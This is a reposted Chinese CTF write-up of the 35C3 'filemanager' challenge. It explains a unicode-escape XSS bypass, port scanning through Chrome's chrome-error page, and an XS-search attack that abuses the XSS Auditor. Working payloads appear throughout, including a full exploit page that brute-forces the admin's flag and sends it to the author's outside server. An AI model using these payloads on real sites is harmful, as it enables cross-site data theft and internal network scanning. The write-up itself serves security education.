内容简介:Check out my web-based filemanager running at https://filemanager.appspot.com.The admin is using it to store a flag, can you get it? You can reach the admin's chrome-headless at: nc 35.246.157.192 1一个在线文件存储系统:
Check out my web-based filemanager running at https://filemanager.appspot.com.
The admin is using it to store a flag, can you get it? You can reach the admin's chrome-headless at: nc 35.246.157.192 1
题目描述
一个在线文件存储系统:
-
可以自定义文件名,文件内容,并对文件进行存储。
-
可以根据查询条件对已经存储的文件内容进行搜索,并对存在的内容进行高亮显示。
连上nc端口,首先发现使用了proof-of work模块进行了类似验证码校验。
校验成功后可以输入URL,发现可以对任意URL进行访问。
使用nc查看题目机器人请求头信息:
GET / HTTP/1.1 Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/72.0.3617.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate
可以发现使用的HeadlessChrome浏览器。
无法解决的XSS
管理员的Flag存在这个文件系统里,还能控制管理员访问页面,Xss可能是个不错的选择,在搜索成功的页面发现了XSS。
<script> (()=>{ for (let pre of document.getElementsByTagName('pre')) { let text = pre.innerHTML; let q = 'DEF'; let idx = text.indexOf(q); pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`; } })(); </script>
高亮功能引起,经过测试这里做了一些实体过滤,但是这里的的模板字符串使用了${expression},JavaScript字符变量支持Unicode,编码即可绕过。
https://filemanager.appspot.com/search?q=%5Cu003c%5Cu0069%5Cu006d%5Cu0067%5Cu0020%5Cu0073%5Cu0072%5Cu0063%5Cu003d%5Cu0078%5Cu0020%5Cu006f%5Cu006e%5Cu0065%5Cu0072%5Cu0072%5Cu006f%5Cu0072%5Cu003d%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%5Cu0028%5Cu0027%5Cu0072%5Cu0061%5Cu0069%5Cu0034%5Cu006f%5Cu0076%5Cu0065%5Cu0072%5Cu0027%5Cu0029%5Cu003b%5Cu003e
触发这个XSS的前提是搜索成功并且需要知道文件的全部内容,但是我们不清楚管理员bot的文件内容,使用自己账号尝试CSRF自行添加文件失败。
查看首页源码,发现因该是添加了CSRF校验。
<script> function doSubmit(e) { e.preventDefault(); document.getElementById('submit-button').disabled = true; let filename = document.getElementById('filename').value; const data = new FormData(e.target); fetch('/create', {method: 'POST', body: data, headers: {XSRF: '1'}}).then(r=>{ document.getElementById('submit-button').disabled = false; if (r.ok) { let li = document.createElement('li'); let a = document.createElement('a'); li.appendChild(a); a.innerText = filename; a.href = `/read?filename=${filename}`; document.getElementById('file-list').appendChild(li); } else { console.log('error creating file'); } }).catch((e)=>{ console.log('error creating file '+e); document.getElementById('submit-button').disabled = false; }); return false; } var form = document.getElementById('create-form'); form.addEventListener("submit", doSubmit); </script>
解决
CSRF+XSS这里因该是不行的,这里需要使用Chrome中的chrome-error://chromewebdata/页面完成题目。
Chrome浏览器Web端口扫描
Chrome浏览器的一个小技巧:
Chrome浏览器中的iframe为例,在对一个URL发送请求时,添加onload事件,不管是否请求成功,都会触发onload事件,因此我们无法单纯通过onload事件进行判断请求结果(端口是否开放)。
但是Chrome浏览器在向一个没有被服务侦听的端口发送请求时,将会显示错误页面,Chrome此时的URL已经变为chrome-error://chromewebdata/。
onload、chrome-error两者结合即可实现Web端口扫描,Demo代码如下:
<script> var iframe = document.createElement('iframe'); var url = "http://127.0.0.1:1089/"; iframe.onload = function () { iframe.onload = function () { console.log('端口不存在'); }; iframe.src = iframe.src + "#"; }; iframe.src = url; document.body.appendChild(iframe); </script>
先给iframe设置src为要扫描的Web端口,接着添加onload事件,修改src为请求src + "#",并在内部重新定义了onload事件。
onloads事件发生在资源加载完毕后:
如果扫描的端口存在,那么当前iframe资源为扫描的资源,同URL添加#(hash)是不会再次加载资源。
如果扫描的端口不存在,那么当前iframe资源为chrome-error://chromewebdata/,修改src后就会重新加载资源,就会触发内部重新定义的onload事件。
利用XSS Auditor和chrome-error
搜索的请求如下:
https://filemanager.appspot.com/search?q=Rai4over
使用Webapp搜索文件内容的匹配成功和失败的结果是不一样的,成功的时候会返回包含用于高亮的js:
<script> (()=>{ for (let pre of document.getElementsByTagName('pre')) { let text = pre.innerHTML; let q = 'Rai4over'; let idx = text.indexOf(q); pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`; } })(); </script>
失败时则极为简单:
<h1>no results</h1>
正确的思路是利用搜索功能,让管理员bot直接触发搜索请求,暴力猜解Flag,但是需要面临搜索结果判断和Flag数据外带两个问题,利用XSS Auditor和chrome-error即可解决。
搜索成功后,页面包含用于高亮的js,我们在URL中随便添加参数,内容为响应中的js内容,仅仅用于欺骗XSS Auditor,误以为页面遭受反射性XSS攻击进而进行拦截。
https://filemanager.appspot.com/search?q=Rai4over&noob=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b
把请求利用iframe进行加载,再添加如上的onload事件。
Xss拦截页面出现后,进入chrome-error://chromewebdata/页面,和端口扫描部分的味道一样了,利用#判断页面URL已经变化,重新加载资源,并且触发内部定义的onload事件,完成FLAG数据外带。
搜索失败后,利用#判断页面URL没有发生变化,不重新加载资源,无特殊操作。
让bot直接访问exp,然后vps通过log查看外带的Flag,exp如下:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>filemanager</title> </head> <body> <script> function sleep(time) { var start = new Date().getTime(); while (true) if (new Date().getTime() - start > time) break; } function fuzzflag(char) { var iframe = document.createElement('iframe'); var calls = 0; iframe.onload = function () { calls++; if (calls > 1) { iframe.onload = () => { }; iframe.src = 'http://www.rai4over.cn/35c3/?flag=' + escape(flag + char); } iframe.src = iframe.src + '#'; }; iframe.src = URL.replace('FLAG', flag + char); document.body.appendChild(iframe); } var URL = 'https://filemanager.appspot.com/search?q=FLAG&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b'; var strlist = '_Fabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; var flag = '35C3';/*35C3_xss_auditor_for_the_win*/ for (var prop in strlist) { fuzzflag(strlist[prop]); sleep(50); } </script> </body> </html>
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
程序员面试金典(第5版)
[美] Gayle Laakmann McDowell / 李琳骁、漆 犇 / 人民邮电出版社 / 2013-11 / 59.00
本书是原谷歌资深面试官的经验之作,层层紧扣程序员面试的每一个环节,全面而详尽地介绍了程序员应当如何应对面试,才能在面试中脱颖而出。第1~7 章主要涉及面试流程解析、面试官的幕后决策及可能提出的问题、面试前的准备工作、对面试结果的处理等内容;第8~9 章从数据结构、概念与算法、知识类问题和附加面试题4 个方面,为读者呈现了出自微软、苹果、谷歌等多家知名公司的150 道编程面试题,并针对每一道面试题目......一起来看看 《程序员面试金典(第5版)》 这本书的介绍吧!